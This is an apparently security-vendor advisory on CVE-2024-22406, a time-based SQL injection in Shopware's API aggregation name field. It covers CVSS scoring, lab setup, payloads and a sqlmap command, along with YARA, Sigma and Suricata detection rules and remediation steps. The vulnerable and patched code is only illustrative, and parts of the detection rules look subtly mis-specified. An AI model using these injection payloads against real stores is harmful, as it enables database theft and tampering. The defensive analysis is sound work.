CVE-2024-22406

Executive Summary

CVE-2024-22406 is a critical SQL injection vulnerability in the Shopware open headless commerce platform. The flaw resides in the API’s search aggregation functionality, where the name field within the aggregations object is not properly sanitized. An unauthenticated attacker can inject time-based SQL queries to extract sensitive data, modify database contents, or potentially achieve remote code execution. With a CVSS score of 9.3, this vulnerability poses a severe risk to all Shopware instances running versions prior to 6.5.7.4. No public proof-of-concept or exploit code has been released at this time, but the technical details are sufficient for skilled attackers to develop one.

Supply Chain & Package Security

Shopware is a PHP-based e-commerce platform distributed via Composer. The vulnerability exists in the core API component, not in a third-party package. However, organizations using Shopware should verify that their Composer dependencies are up to date and that no custom plugins override the affected API endpoint.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): High (H) – Database records can be modified or deleted.
• Availability (A): High (H) – Time-based queries can cause denial of service, and data deletion is possible.

Threat Level: Critical. The combination of remote, unauthenticated access with high impact on all three security pillars makes this a top-priority vulnerability.

Deep Dive & Mechanics

The Shopware API exposes an endpoint that allows searching and aggregating data. The aggregations object accepts a name parameter that is used to label the aggregation result. This name field is directly concatenated into SQL queries without proper parameterization or escaping.

Vulnerable Code Path (Conceptual):

// Inside the aggregation builder
$query->addSelect("COUNT(*) AS " . $aggregation['name']);

An attacker can inject SQL by providing a malicious name value:

{
  "aggregations": [
    {
      "name": "x' OR (SELECT SLEEP(5))--",
      "type": "count",
      "field": "id"
    }
  ]
}

This results in a time-based SQL injection, allowing the attacker to infer data by measuring response delays.

Vulnerable vs. Patched Code

Vulnerable (Shopware < 6.5.7.4):

// No sanitization of $aggregation['name']
$query->addSelect("COUNT(*) AS " . $aggregation['name']);

Patched (Shopware >= 6.5.7.4):

// The name is now properly escaped using a whitelist or parameterized query
$safeName = preg_replace('/[^a-zA-Z0-9_]/', '', $aggregation['name']);
$query->addSelect("COUNT(*) AS " . $safeName);

The patch ensures that only alphanumeric characters and underscores are allowed in the aggregation name, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Shopware instance (e.g., version 6.5.7.3) using Docker:

   docker run -d -p 8080:80 --name shopware-vuln shopware/platform:6.5.7.3
   

2. Access the API at http://localhost:8080/api.

Exploitation Steps:

1. Identify the vulnerable endpoint (typically /api/search or similar).
2. Craft a time-based SQL injection payload:

   POST /api/search HTTP/1.1
   Host: localhost:8080
   Content-Type: application/json
   
   {
     "aggregations": [
       {
         "name": "x' OR (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--",
         "type": "count",
         "field": "id"
       }
     ]
   }
   

3. Observe a 5-second delay if the condition is true.
4. Use a tool like sqlmap to automate data extraction:

   sqlmap -u "http://localhost:8080/api/search" --data='{"aggregations":[{"name":"*","type":"count","field":"id"}]}' --dbms=mysql --technique=T --time-sec=5
   

Blue Team (Defensive)

Detection:

• Monitor API logs for unusual aggregations objects containing SQL keywords (e.g., SLEEP, UNION, SELECT).
• Deploy a WAF rule to block requests with suspicious name values.

Hunting:

• Search for HTTP requests to /api/search with a name parameter containing non-alphanumeric characters.
• Use the Sigma rule provided in the Detection Engineering section.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /api/search with a JSON body containing "name": followed by SQL keywords.
  • Unusually long response times (e.g., >5 seconds) for API search requests.
• File IOCs:
  • Modified database entries in the shopware database, especially in user or order tables.
  • New files in the web root (e.g., webshells) if the attacker escalates to RCE.
• Log IOCs:
  • Repeated SQL errors in application logs (e.g., You have an error in your SQL syntax).
  • Multiple failed login attempts following data extraction.

Detection Engineering

YARA Rule

rule CVE_2024_22406_Shopware_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Shopware aggregation name field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22406"
    strings:
        $sqli1 = /"name"\s*:\s*"[^"]*SLEEP[^"]*"/i
        $sqli2 = /"name"\s*:\s*"[^"]*UNION[^"]*"/i
        $sqli3 = /"name"\s*:\s*"[^"]*SELECT[^"]*"/i
        $sqli4 = /"name"\s*:\s*"[^"]*OR\s+1=1[^"]*"/i
    condition:
        any of ($sqli*)
}

Sigma Rule

title: CVE-2024-22406 Shopware SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts in Shopware API aggregation name field
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/search'
        cs-body|contains:
            - 'SLEEP'
            - 'UNION'
            - 'SELECT'
            - 'OR 1=1'
    condition: selection
falsepositives:
    - Legitimate use of aggregation names containing these words (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-22406 Shopware SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/search"; http_uri;
    content:"\"name\""; http_client_body;
    pcre:"/\"name\"\s*:\s*\"[^\"]*(SLEEP|UNION|SELECT|OR\s+1=1)[^\"]*\"/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-22406;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Shopware to version 6.5.7.4 or later.
2. For older versions (6.1–6.4), install the official security plugin provided by Shopware.
3. If immediate patching is not possible, disable the API search endpoint temporarily:

   location /api/search {
       deny all;
       return 403;
   }
   

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Conduct regular security audits of all API endpoints.
• Ensure all input validation follows a whitelist approach (allow only expected characters).
• Monitor for any signs of compromise using the IOCs and detection rules provided.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.
“Securing digital commerce, one vulnerability at a time.”